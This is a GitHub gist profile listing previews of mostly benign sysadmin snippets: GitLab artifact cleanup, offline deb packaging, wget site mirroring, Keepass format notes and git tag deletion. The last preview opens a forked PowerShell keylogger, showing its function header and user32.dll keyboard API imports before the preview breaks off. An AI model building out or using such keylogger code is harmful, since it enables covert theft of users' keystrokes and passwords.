Skip to content

Instantly share code, notes, and snippets.

View Fasjeit's full-sized avatar
🛰️

Fasjeit

🛰️
  • c̛̛ͭͪ͒͂̔̍̾︠͗̽᷁́ͭ̌︢̽᷀︢̍ͫ︠︣᷃̿̓̆̈́︣͒ͣͪ̿̽̋̀͐᷀̍ͩ̍᷄︠̔ͬ͊̈́᷃ͯ̍ͤͥͭͨ᷀̍͂̑͑́᷅̾̾̀͛ͪ̀̓ͫ̽͒̔ͩͫ̍̔︢ͯ᷀︠᷃̈́ͫ̉︡́ͩ̈ͣ͒͗́ͬ͂᷾᷇ͦͪͪ︢ͭ̈́̆᷀︠̕̕̚̚͘̕̕͝͡͞͡͠͝͡ŗ̷͓᷿̣͖̣̫͇͖̯̰᷀᷇᷉̽̉ͨ᷾͜y̨̡̱̪᷿̖̲͎̟̗̱᷊̫͖̤̬̰̩̪͇̺̰̙̲̫̮̳̳͉͜p̸̡̬͖᷿̖̝̲̘̪̠̜͚͉͇̩̗͖̓᷀̓ͩ͆ͨ͐͋͟ṫ̷̡̧̧̢̨͈̤͕̖̭᷿͓̠͎᷿̭̑ͭ᷄̓ͥ᷾᷉͌̕ơ̷᷊͖͑̾᷇᷃︣̐︡͗ͤ̈︣͘̕͞
View GitHub Profile
@Fasjeit
Fasjeit / gitlab_remove_expired_artifacts.py
Created November 5, 2024 07:03 — forked from mikeller/gitlab_remove_expired_artifacts.py
Python script to remove expired artefact from merged pull requests and branches. (Usage: gitlab_remove_expired_artifacts.py <server> <token> <project id>...)
#!/usr/bin/env python3
import time
import requests
import sys
from datetime import datetime, timezone
from dateutil import parser
import re
if len(sys.argv) < 4:
@Fasjeit
Fasjeit / deb_deps_offline.md
Last active November 1, 2023 10:42
Prepare deb package with deps for offline setup on another machine
  1. Download package deps
yourpackage=PACKAGE_NAME
sudo apt-get --print-uris --yes -d --reinstall install $yourpackage $(apt-cache depends $yourpackage | grep "  Depends:" |  sed 's/  Depends://' | sed ':a;N;$!ba;s/\n//g') | grep ^\' | cut -d\' -f2 >downloads.list
wget --input-file downloads.list
  1. Copy all deb files to target machine and run

The command line, in short…

wget -k -K -E -r -l 10 -p -N -F --restrict-file-names=windows -nH http://website.com/

…and the options explained

  • -k : convert links to relative
  • -K : keep an original versions of files without the conversions made by wget
  • -E : rename html files to .html (if they don’t already have an htm(l) extension)
  • -r : recursive… of course we want to make a recursive copy
  • -l 10 : the maximum level of recursion. if you have a really big website you may need to put a higher number, but 10 levels should be enough.
@Fasjeit
Fasjeit / readme.md
Created January 13, 2023 19:03 — forked from lgg/keepass-file-format-explained.md
Keepass file format explained

Keepass file format explained

I’m currently working (I’m just at the beginning, and I’m quite slow) on a personal project that will use Keepass files (kdb and kdbx).
I tried to find some documentation about .kdb and .kdbx format, but I didn’t find anything, even in the Keepass official website. I you want to know how these file formats are structured, you must read Keepass’s source code. So I wrote this article that explains how Keepass file format are structured, maybe it will help someone.

@Fasjeit
Fasjeit / git-tag-delete-local-and-remote.sh
Created October 19, 2022 10:00 — forked from mobilemind/git-tag-delete-local-and-remote.sh
how to delete a git tag locally and remote
# delete local tag '12345'
git tag -d 12345
# delete remote tag '12345' (eg, GitHub version too)
git push origin :refs/tags/12345
# alternative approach
git push --delete origin tagName
git tag -d tagName
@Fasjeit
Fasjeit / gist:84595aa283363b84b9e2a2d308bd9858
Created January 3, 2019 19:04 — forked from dasgoll/gist:7ca1c059dd3b3fbc7277
Simple Windows Keylogger using PowerShell
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]